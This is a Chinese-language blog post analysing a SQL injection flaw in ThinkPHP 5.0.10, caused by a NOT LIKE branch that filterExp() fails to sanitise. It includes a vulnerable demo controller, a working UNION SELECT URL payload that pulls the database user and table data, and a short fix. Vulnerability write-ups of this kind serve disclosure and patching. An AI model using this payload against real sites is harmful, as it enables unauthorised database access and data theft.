thinkphp 5.0.10 sql注入漏洞 支持子查询

0x00 前言&&影响版本

在tp5 sql注入漏洞中,这个漏洞算是危害比较大的了,因为其他的sql注入一般不支持子查询。而这个漏洞只出现在5.0.10版本中,也算是将危害降到最低了。

1
2
漏洞影响版本
thinkphp 5.0.10

0x01 漏洞成因

那么为什么这个注入支持子查询呢。我们知道tp5重写了数据库操作类方法。而在5.0.10版本中,增加了NOT LIKE操作。

可以看到进入这个分支后没有任何过滤,直接拼接到了whereStr变量,作为sql语句的一部分返回。
而其他分支其实也没有做任何过滤,为什么增加了NOT LIKE后出现了漏洞呢?
那是因为tp5的助手函数input()在输入数据时,进行了过滤操作。

这里主要说filterExp()

这里进行关键字匹配,当匹配到时在关键字后面添加空格。这样我们就不能控制上面进入相应的分支了,在函数中可以可以包括了很多能控制分支流程的关键字,却唯独没有NOT LIKE。那么说到这里我们也就明白了,漏洞的成因是在5.0.10版本数据库操作类方法中增加了NOT LIKE但是filterExp函数没有及时更正更新导致了sql注入。

0x02 测试demo

1
2
3
4
5
6
7
public function index()
{

$data = input('get.name/a');
$sql_data = db('think_user')->where(array('username'=>$data))->select();
var_dump($sql_data);
}
1
2
payload
http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/Index/index/index?name[0]=not%20like&name[1][0]=123&name[1][1]=6666&name[2]=) and 1=2 union select 1,user(),3,4,id from think_user -- +

0x03 修补方法

在filterExp()方法中增加NOT LIKE

本文标题:thinkphp 5.0.10 sql注入漏洞 支持子查询

文章作者:boogle

发布时间:2019年01月25日 - 23:58

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/thinkphp-5-0-10-sql注入漏洞-支持子查询/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗